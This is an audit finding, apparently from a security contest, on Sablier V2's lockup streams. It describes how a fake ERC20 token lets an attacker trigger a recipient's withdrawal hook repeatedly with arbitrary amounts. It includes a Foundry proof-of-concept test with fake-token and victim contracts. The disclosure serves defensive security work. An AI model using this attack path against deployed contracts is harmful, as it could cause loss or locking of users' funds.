Summary
A malicious user can call the victim's hook/callback onLockupStreamWithdrawn
and many of the other hook/callbacks as many times as he wants with an arbitrary amount parameter of his liking. This creates a ton of possible issues depending on the functionality the victim's hook function implementation. Possible issues for the user would be loss of funds, locked funds, wrong accounting and many others.
Vulnerability Details
Any user can create a stream for any recipient using either createWithDurations()
or createWithTimestamps()
. There are a few different streams that a user could create but they are not important for this vulnerability, we will choose a typical linear stream. We will also just cover the onLockupStreamWithdrawn
hook being called in this particular example. The functions mentioned above both call _create()
:
function _create(LockupLinear.CreateWithTimestamps memory params) internal returns (uint256 streamId) {
Lockup.CreateAmounts memory createAmounts =
Helpers.checkAndCalculateBrokerFee(params.totalAmount, params.broker.fee, MAX_BROKER_FEE);
Helpers.checkCreateLockupLinear(createAmounts.deposit, params.timestamps);
streamId = nextStreamId;
_streams[streamId] = Lockup.Stream({
amounts: Lockup.Amounts({ deposited: createAmounts.deposit, refunded: 0, withdrawn: 0 }),
asset: params.asset,
endTime: params.timestamps.end,
isCancelable: params.cancelable,
isDepleted: false,
isStream: true,
isTransferable: params.transferable,
sender: params.sender,
startTime: params.timestamps.start,
wasCanceled: false
});
if (params.timestamps.cliff > 0) {
_cliffs[streamId] = params.timestamps.cliff;
}
unchecked {
nextStreamId = streamId + 1;
}
_mint({ to: params.recipient, tokenId: streamId });
params.asset.safeTransferFrom({ from: msg.sender, to: address(this), value: createAmounts.deposit });
if (createAmounts.brokerFee > 0) {
params.asset.safeTransferFrom({ from: msg.sender, to: params.broker.account, value: createAmounts.brokerFee });
}
emit ISablierV2LockupLinear.CreateLockupLinearStream({
streamId: streamId,
funder: msg.sender,
sender: params.sender,
recipient: params.recipient,
amounts: createAmounts,
asset: params.asset,
cancelable: params.cancelable,
transferable: params.transferable,
timestamps: params.timestamps,
broker: params.broker.account
});
}
This is how the stream gets created. The root cause of the issue is the fact that any asset can be streamed to the user.
Imagine the following scenario:
A malicious user creates a contract implementing transfer
and transferFrom
functions that have no logic but just return true
He creates a stream using that contract as asset to a victim who is a contract implementing the callback/hook functionalities
He can choose any amount of his liking as it will not be transferred out as there is not an actual transfer functionality for the asset/contract
Some funds get unlocked/streamed (all funds could get unlocked even in the first second as the protocol allows for such functionality)
Malicious user calls withdraw()
for the victim's stream
function withdraw(
uint256 streamId,
address to,
uint128 amount
)
public
override
noDelegateCall
notNull(streamId)
updateMetadata(streamId)
{
if (_streams[streamId].isDepleted) {
revert Errors.SablierV2Lockup_StreamDepleted(streamId);
}
if (to == address(0)) {
revert Errors.SablierV2Lockup_WithdrawToZeroAddress(streamId);
}
if (amount == 0) {
revert Errors.SablierV2Lockup_WithdrawAmountZero(streamId);
}
address recipient = _ownerOf(streamId);
if (to != recipient && !_isCallerStreamRecipientOrApproved(streamId)) {
revert Errors.SablierV2Lockup_WithdrawalAddressNotRecipient(streamId, msg.sender, to);
}
uint128 withdrawableAmount = _withdrawableAmountOf(streamId);
if (amount > withdrawableAmount) {
revert Errors.SablierV2Lockup_Overdraw(streamId, amount, withdrawableAmount);
}
address sender = _streams[streamId].sender;
_withdraw(streamId, to, amount);
if (msg.sender != recipient && recipient.code.length > 0) {
try ISablierV2Recipient(recipient).onLockupStreamWithdrawn({
streamId: streamId,
caller: msg.sender,
to: to,
amount: amount
}) { } catch { }
}
if (msg.sender != sender && sender.code.length > 0 && sender != recipient) {
try ISablierV2Sender(sender).onLockupStreamWithdrawn({
streamId: streamId,
caller: msg.sender,
to: to,
amount: amount
}) { } catch { }
}
}
There are some checks which successfully pass and then _withdraw()
gets called
There, safeTransfer()
gets called which just calls transfer()
on the attacker's asset contract which just returns true
Then, we get back to the main withdraw()
function and we see this piece of code:
if (msg.sender != recipient && recipient.code.length > 0) {
try ISablierV2Recipient(recipient).onLockupStreamWithdrawn({
streamId: streamId,
caller: msg.sender,
to: to,
amount: amount
}) { } catch { }
}
msg.sender
is the attacker, recipient
is the victim so they are not equal, recipient.code.length
is greater than 0 as that is a contract and then the recipient
contract gets called with any amount as the attacker can create a stream for any amount, allow it to unlock immediately and withdraw immediately for any amount. This can be done again and again for no cost except gas fees. This creates a lot of issues as the victim expects this function to be called only when receiving tokens upon him or someone else withdrawing but here, his callback/hook can get called over and over again with an arbitrary amount creating a lot of possible issues for him such as locked funds or loss of funds depending on his exact hook implementation. While not every hook implementation will be detrimental to the victim, there are surely users that have an implementation that can be attacked and cause huge issues and losses for the victim.
Paste the following POC function into v2-core/test/integration/concrete/lockup-linear/create-with-timestamps/createWithTimestamps.t.sol
:
function testCanCallRecipientHookAtWillWithArbitraryAmount() public {
address attacker = makeAddr('attacker');
VictimContract victimContract = new VictimContract(address(dai), address(lockupLinear));
address victim = address(victimContract);
deal(address(dai), victim, 20e18);
FakeERC20 fakeToken = new FakeERC20();
LockupLinear.Timestamps memory timestamps = LockupLinear.Timestamps({start: 10, cliff: 20, end: uint40(block.timestamp + 1)});
Broker memory broker;
LockupLinear.CreateWithTimestamps memory params = LockupLinear.CreateWithTimestamps(
attacker,
victim,
10000000e18,
IERC20(address(fakeToken)),
true,
false,
timestamps,
broker
);
vm.startPrank(attacker);
uint256 streamId = lockupLinear.createWithTimestamps(params);
vm.stopPrank();
LockupLinear.StreamLL memory stream = lockupLinear.getStream(streamId);
assertEq(lockupLinear.ownerOf(streamId), victim);
assertEq(stream.amounts.deposited, 10000000e18);
uint256 withdrawAmount = 10e18;
vm.warp(block.timestamp + 1);
vm.startPrank(attacker);
lockupLinear.withdraw(streamId, victim, uint128(withdrawAmount));
vm.stopPrank();
assertEq(dai.balanceOf(attacker), withdrawAmount);
vm.startPrank(attacker);
vm.expectRevert("not lockupLinear");
victim.call(abi.encodeWithSignature("onLockupStreamWithdrawn(uint256,address, address,uint128)"));
vm.stopPrank();
}
Also, add these 2 contracts in the same file:
contract FakeERC20 {
function transferFrom(address from, address to, uint256 value) external pure returns (bool) {
return true;
}
function transfer(address to, uint256 value) external returns (bool) {
return true;
}
}
contract VictimContract {
address dai;
address lockupLinear;
constructor(address _dai, address _lockupLinear) {
dai = _dai;
lockupLinear = _lockupLinear;
}
modifier onlyLockupLinear {
require(msg.sender == lockupLinear, "not lockupLinear");
_;
}
function onLockupStreamWithdrawn(uint256 streamId, address caller, address to, uint128 amount) external onlyLockupLinear {
IERC20(dai).transfer(caller, amount);
}
}
The hook/callback implemented is a simple and obviously unrealistic example with the only goal of showing that the vulnerability is possible. There are many possible hook implementations that could cause issues such as let's say totalReceived
variable that gets incremented upon successful withdraws that can get up to its maximum value and then, any withdraws will revert as they will overflow that variable (a simple example, there are many other possible hook/callback implementations that a user might have that an attacker can target and benefit from). This is especially dangerous because of all the different protocols integrating Sablier.
Impact
A malicious user can call the victim's hook/callback onLockupStreamWithdrawn
as many times as he wants with an arbitrary amount parameter of his liking. This creates a ton of possible issues depending on the functionality the victim's hook function implementation. Possible issues would be loss of funds, locked funds, wrong accounting and many others. That same attack path is also possible for the sender
of the stream as that can be an arbitrary address set by the creator of the stream, a malicious attacker can create a stream and put a victim as the sender
parameter and then call his callback/hook function the exact same way.
Tools Used
Manual Review
Recommendations
The exact fix is not clear, a whitelist of tokens would definitely solve the issue however it might not be according to the protocol's ideas.